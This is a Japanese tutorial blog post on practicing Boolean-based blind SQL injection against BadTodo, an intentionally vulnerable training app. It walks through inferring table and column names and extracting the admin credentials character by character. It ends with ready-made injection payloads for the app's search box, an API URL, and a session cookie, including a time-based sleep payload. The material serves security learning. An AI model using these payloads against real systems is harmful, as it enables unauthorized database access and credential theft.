やられアプリ BadTodo - 3.10 ブラインドSQLインジェクション (Boolean-Based) 練習

前回:やられアプリ BadTodo - 3.9 SQLインジェクション 対策方法 - demandosigno

これまでのSQLインジェクションは、UNION SELECT 演算子を使って既に存在する表に追記させたり、SLQエラー文の出力を利用して情報を得たりしました。
しかし、結果を出力する場所がなかったり、エラーメッセージが表示される場合でもカスタムされたエラーページでテンプレート文が表示されるだけの場合は使えません。

そこで第3の方法としてブラインドSQLインジェクションがあります。ブラインドSQLインジェクションには Boolean-BasedTime-Based がありますが、まずは Boolean-Based SQLインジェクションについて。
SQL文の問い合わせに対する回答が「真か偽か」の2択を確認することで結果を推測していく方法です。

練習

BadTodoで実際に試す前に、DBにログインし直接データベースの中身を確認しながら流れを理解していくことにします。

badtodo-dbコンテナの端末を開き、MariaDBにログインします。

root@badtodo-db:/# mysql -u root -pwasbook
Welcome to the MariaDB monitor.  Commands end with ; or \g.

ユーザーに関する一通りのデータを見てみます。

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| todo               |
+--------------------+
 
MariaDB [(none)]> use todo
Database changed
 
MariaDB [todo]> show tables;
+----------------+
| Tables_in_todo |
+----------------+
| session        |
| todos          |
| users          |
+----------------+
 
MariaDB [todo]> select * from users;
+----+---------+--------+--------------------+--------------------------+-------+
| id | userid  | pwd    | email              | icon                     | super |
+----+---------+--------+--------------------+--------------------------+-------+
|  1 | admin   | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+---------+--------+--------------------+--------------------------+-------+

単純なWHERE文を書いてみる(視認性を上げるため予約語は大文字にしました)

SELECT * FROM users WHERE userid = 'wasbook';
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

少し条件を加えます

SELECT * FROM users WHERE userid='wasbook' AND 1 = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

付け加えた1 = 1TRUE ですから結果変わらず表示されます。
これ以降のすべての例は、この部分が TRUE になるか? FALSE になるか?という観点で見ていきます。

では続けて、サブクエリ(副問い合わせ)(SELECT文で表示した結果を別の SELECT文で使う)がサポートされているか確認します。
MySQL :: MySQL 8.0 リファレンスマニュアル :: 13.2.11 サブクエリー

SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

サポートされていました。
userid='wasbook' は触れないため TRUE
(これをANDで繋ぎ、検索結果が表示されたということは(SELECT 1) = 1部分も TRUE
(つまり(SELECT 1)が有効)

それでは次に、hoge というテーブルが存在すると推測してSQL文を作ってみます。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM hoge LIMIT 0,1) = 1;
(hoge テーブルから先頭 1行を取り出す)
 
ERROR 1146 (42S02): Table 'todo.hoge' doesn't exist

エラー「Table 'todo.hoge' doesn't exist」。つまり hoge テーブルはありません。

ではテーブル名を users と推測してみます。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM users LIMIT 0,1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

結果が返って来たということは(SELECT 1 FROM users LIMIT 0,1) = 1部分がTRUEです。これにより users テーブルが存在することが判明します。

続けて、カラム名を推測します。
まず password というカラム名が存在すると仮定して

SELECT * FROM users WHERE userid='wasbook' AND (SELECT SUBSTRING(CONCAT(1, password), 1 ,1) FROM users LIMIT 0,1) = 1;
(users テーブルから、定数 1 に user の名前を連結した文字列の 1 文字目から 1 つ取り出す)
( = 先頭文字が 1 )(1 = 1TRUE)(カラム名 password が存在しない場合 NULLFALSE)
 
ERROR 1054 (42S22): Unknown column 'password' in 'field list'

エラーです。

ではカラム名 pwd で試してみます。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT SUBSTRING(CONCAT(1, pwd), 1 ,1) FROM users LIMIT 0,1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

pwd というカラムが存在することが分かります。

次に userid というカラム名を試します。

SELECT * FROM users WHERE userid='wasbook' AND (SELECT SUBSTRING(CONCAT(1, userid), 1, 1) FROM users LIMIT 0,1) = 1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

userid カラムも存在する。
つまり、users テーブルに、pwd, userid カラムが存在することが分かります。

そろそろぱっと見ではよくわからなくなってきますが、クエリを分解したものを後述しますので参考にしてください。

探索

とはいえ文字列を当てることは難しいです。ですので探す方法があります。

users テーブルの中の userid カラムに存在するユーザー名の探索を行ってみます。

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 109;

 1. FROM users LIMIT 0,1 ⇒ users テーブルの先頭1レコード分から)
 2. SELECT CONCAT(userid, 0x3a, pwd) ⇒ userid と pwd を 0x3a=: で区切って連結する  
 3. SUBSTRING(str, pos, len) ⇒ 位置 pos で始まる文字列 str からの部分文字列 len 文字長を返す  
 4. ASCII(str) > 109 ⇒ ASCIIコードが 109(小文字の m) より大きい場合 "真" とする  

Empty set (0.000 sec)

結果表が返されないため(偽)、ユーザー名の第1文字はASCIIコードの 109(これは m)以下の値であることが分かる。

ASCIIコード(10進数)におけるアルファベットの範囲は次の通り。
・小文字の 'a' から 'z' までの範囲: 97 から 122
・大文字の 'A' から 'Z' までの範囲: 65 から 90
97-122 の中央値は (97+122)/2 = 109(端数切捨)
(プログラム上では"最小置 + (最大置 - 最小置) / 2"とした方が安全)

次は109以下であるから同様に (97 + 109) / 2 = 103

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 103;
Empty set (0.000 sec)
偽 char(103) は「g」のため
例:SELECT char(103);
+-----------+
| char(103) |
+-----------+
| g         |
+-----------+
SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 100;
Empty set (0.000 sec)
偽 char(100) は「d」

と、基本的には二分探索で探していく(ある程度絞れたら線形探索に)

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 96;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
真 char(96) は「`」

最終的に

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 97;
Empty set (0.000 sec)
偽 char(97)は「a」

よって、1文字目は「a」。ちなみに実データは "admin"。

SELECT userid, pwd FROM users;
+-----------+--------+
| userid    | pwd    |
+-----------+--------+
| admin     | passwd |
| wasbook   | wasboo |
+-----------+--------+

同様に、2文字目以降を探っていく

SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,1)) > 99;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
真 char(99) は「c」
SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,1)) > 100;
Empty set (0.000 sec)
偽 char(100) は「d」

よって、2文字目は「d」。 同様に、3、4、5文字目と解いていくと「a」「d」「m」「i」「n」6文字目で CONCAT で付けた「: コロン 16進 0x3a 10進58」 となるので終了。

(後日)実際にBadTodoの方で試します。
(後日)手動で全部行うのは無理があるため、スクリプトを作ったりBurpのIntruderを使ったりします。
(後日)Time-Based ブライドSQLインジェクション

Boolean-Based ブラインドSQLインジェクションは基本的にWHERE句に対して使います(SELECT, UPDATE, DELETE)。
WHERE句ではない場合(INSERT INTO)、時間遅延(sleep()など)を使った Time-Based ブラインドSQLインジェクションが試せる場合があります。

ブラインドSQLインジェクションのスクリプトをPHPで書いたよ #phpadvent2012 | 徳丸浩の日記
Time-based SQL Injectionは意外に実用的だった | 徳丸浩の日記

BadTodoでは各リクエストの Cookie: TODOSESSID にSQLインジェクションがありそうです。
'付加で 500 Internal Server Error となりますが「致命的エラー:セッション管理でエラー発生」という一文のみ出力されます。 Cookie値に' (select*from(select(sleep(5)))a)を付加しCookie: TODOSESSID=9c1428bae485da4704b0a28725dfe282'%2b(select*from(select(sleep(5)))a)#などとすることで5秒の遅延が発生します。

補足

MySQL :: MySQL 8.0 リファレンスマニュアル :: 12.8 文字列関数および演算子
CONCAT(str1,str2,...)
引数を連結することで生成される文字列を返します。1 つ以上の引数を持つ場合があります。すべての引数が非バイナリ文字列の場合は、結果も非バイナリ文字列になります。
引数にバイナリ文字列が含まれる場合は、結果はバイナリ文字列になります。数値の引数は、同等の非バイナリ文字列形式に変換されます。
引数のいずれかかが NULL である場合、CONCAT() は NULL を返します。

MySQL :: MySQL 8.0 リファレンスマニュアル :: 12.8 文字列関数および演算子
SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)
len 引数を付けない形式では、位置 pos で始まる文字列 str からの部分文字列が返されます。
len 引数を付けた形式では、位置 pos で始まる文字列 str からの部分文字列 len 文字長が返されます。
FROM を使用する形式は、標準の SQL 構文です。 また、pos に負の値を使用することもできます。 その場合、部分文字列の先頭は文字列の先頭でなく、文字列の末尾からの pos 文字になります。 この関数のどの形式でも、pos で負の値を使用できます。pos の値が 0 の場合、空の文字列が返されます。
 
すべての形式の SUBSTRING() で、部分文字列の抽出が開始される文字列内の最初の文字の位置が 1 とみなされます。

mysql> SELECT SUBSTRING('Quadratically',5);
        -> 'ratically'
mysql> SELECT SUBSTRING('foobarbar' FROM 4);
        -> 'barbar'
mysql> SELECT SUBSTRING('Quadratically',5,6);
        -> 'ratica'
mysql> SELECT SUBSTRING('Sakila', -3);
        -> 'ila'
mysql> SELECT SUBSTRING('Sakila', -5, 3);
        -> 'aki'
mysql> SELECT SUBSTRING('Sakila' FROM -4 FOR 2);
        -> 'ki'
この関数はマルチバイトセーフです。len が 1 よりも小さい場合は、結果が空の文字列になります。

ASCII(str)
文字列 str の左端の文字の数値(ASCIIコード)を返します。str が空の文字列である場合は、0 を返します。str が NULL である場合は NULL を返します。ASCII() は、8 ビット文字の場合に動作します。

mysql> SELECT ASCII('2');
        -> 50
mysql> SELECT ASCII(2);
        -> 50
mysql> SELECT ASCII('dx');
        -> 100
ORD() 関数も参照してください。

ASCII - Wikipedia

これより下は私自身の確認のために色々試してみた結果をメモしているだけなのでざっと流して次の項目に進んでください。
やられアプリ BadTodo - 4.1 XSS(クロスサイト・スクリプティング) - demandosigno

補足2。クエリの例

MariaDB [todo]> SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 109;
 1. FROM users LIMIT 0,1 ⇒ users テーブルの先頭1レコード分から)
 2. SELECT CONCAT(userid, 0x3a, pwd) ⇒ userid と pwd を 0x3a=: で区切って連結する  
 3. SUBSTRING(str, pos, len) ⇒ 位置 pos で始まる文字列 str からの部分文字列 len 文字長を返す  
 4. ASCII(str) > 109 ⇒ ASCIIコードが 109(小文字の m) より大きい場合 "真" とする  
について色々試す。
 
>, < ではなく = で比較(文字列"admin:passwd"1文字目が "a"=ASCII(97)か)
SELECT * FROM users WHERE userid='wasbook' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) = 97;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

ASCIIではなく文字として比較
SELECT * FROM users WHERE userid = 'wasbook' AND SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)='a';
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+ 
 
CONCAT, LIMITを除いた場合
SELECT * FROM users WHERE userid = 'wasbook' AND SUBSTRING((SELECT pwd FROM users WHERE userid = 'wasbook'),1,1)='w';
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
 
CONCATの動作確認
SELECT CONCAT(userid, 0x3a, pwd) FROM users;
+---------------------------+
| CONCAT(userid, 0x3a, pwd) |
+---------------------------+
| admin:passwd              |
| wasbook:wasboo            |
+---------------------------+
LIMITの動作確認(1レコード目(0)から1件取得(1))
SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1;
+---------------------------+
| CONCAT(userid, 0x3a, pwd) |
+---------------------------+
| admin:passwd              |
+---------------------------+
 
SUBSTRINGの動作確認(文字列"admin:passwd"の2文字目から3文字分の文字列を返す)
SELECT SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,3);
+------------------------------------------------------------------------+
| SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),2,3) |
+------------------------------------------------------------------------+
| dmi                                                                    |
+------------------------------------------------------------------------+

ASCIIの動作確認("admin:passwd"の1文字目="a"のASCIIコードを返す)
SELECT ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1));
+-------------------------------------------------------------------------------+
| ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) |
+-------------------------------------------------------------------------------+
|                                                                            97 |
+-------------------------------------------------------------------------------+
SELECT ASCII('a');
+------------+
| ASCII('a') |
+------------+
|         97 |
+------------+
 
真偽値。TRUE(1) or FALSE(0)
SELECT ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) = 97;
+----------------------------------------------------------------------------------+
| ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1))=97 |
+----------------------------------------------------------------------------------+
|                                                                                1 |
+----------------------------------------------------------------------------------+

補足3。SELECT 1 とは

Oracle SELECT(*)とSELECT(1)の違いについて | プログラミング勉強備忘録
COUNT文の構文でCOUNT(1)は、カラムの1番目を取得して件数を取得する記述方法と思っていました。
ですのでNULL値を含まない件数が取得できると思っていましたが違うようです。
1は定数を指定しているので必ずNULL以外になります。
1を指定した場合のCOUNT(expr)は、式が常に1になるため、レコード数が常にカウントされます。
ですので結論COUNT(*)と同じ件数が取得できます。

SELECT 1;
+---+
| 1 |
+---+
| 1 |
+---+
SELECT * FROM users;
+----+-----------+--------+--------------------+--------------------------+-------+
| id | userid    | pwd    | email              | icon                     | super |
+----+-----------+--------+--------------------+--------------------------+-------+
|  1 | admin     | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook   | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+-----------+--------+--------------------+--------------------------+-------+
SELECT 1 FROM users;
+---+
| 1 |
+---+
| 1 |
| 1 |
+---+
SELECT count(*) FROM users;
+----------+
| count(*) |
+----------+
|        2 |
+----------+
SELECT count(*) FROM users WHERE (SELECT 1)=1;
+----------+
| count(*) |
+----------+
|        2 |
+----------+
SELECT distinct count(userid) FROM users; (distinct: 重複行を除外)
+---------------+
| count(userid) |
+---------------+
|             2|
+---------------+
SELECT 1 FROM users LIMIT 0,1;
+---+
| 1 |
+---+
| 1 |
+---+

SELECT * FROM users WHERE id='1';
+----+--------+--------+-----------------+--------------+-------+
| id | userid | pwd    | email           | icon         | super |
+----+--------+--------+-----------------+--------------+-------+
|  1 | admin  | passwd | root@example.jp | ockeghem.png |     1 |
+----+--------+--------+-----------------+--------------+-------+
SELECT * FROM users WHERE (SELECT 1)=1;
+----+-----------+--------+--------------------+--------------------------+-------+
| id | userid    | pwd    | email              | icon                     | super |
+----+-----------+--------+--------------------+--------------------------+-------+
|  1 | admin     | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook   | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+-----------+--------+--------------------+--------------------------+-------+
SELECT * FROM users WHERE (SELECT 1 FROM users LIMIT 0,1)=1;
+----+-----------+--------+--------------------+--------------------------+-------+
| id | userid    | pwd    | email              | icon                     | super |
+----+-----------+--------+--------------------+--------------------------+-------+
|  1 | admin     | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook   | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+-----------+--------+--------------------+--------------------------+-------+
SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1)=1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM users)=1;
ERROR 1242 (21000): Subquery returns more than 1 row
SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM users LIMIT 0,1)=1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

: コロンが 160x3a 1058 となるか
SELECT ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),6,1));
+-------------------------------------------------------------------------------+
| ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),6,1)) |
+-------------------------------------------------------------------------------+
|                                                                            58 |
+-------------------------------------------------------------------------------+

BadTodoに入力する際の例(後日試す用)

検索BOX
FALSE test' AND (SELECT SUBSTRING(CONCAT(1,hogeid,1,1) FROM users LIMIT 0,1)=1-- 
TRUE  test' AND (SELECT SUBSTRING(CONCAT(1,userid),1,1) FROM users LIMIT 0,1)=1-- 
FALSE test' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 97-- 
TRUE  test' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 96-- 
FALSE https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%201%20from%20user%20limit%200,1)=1--+ 
TRUE  https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%201%20from%20users%20limit%200,1)=1--+
FALSE https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%20substring(concat(1,user),1,1)%20from%20users%20limit%200,1)=1--+
TRUE  https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%20substring(concat(1,userid),1,1)%20from%20users%20limit%200,1)=1--+

やられアプリ BadTodo - 4.1 XSS(クロスサイト・スクリプティング) - demandosigno

/* -----codeの行番号----- */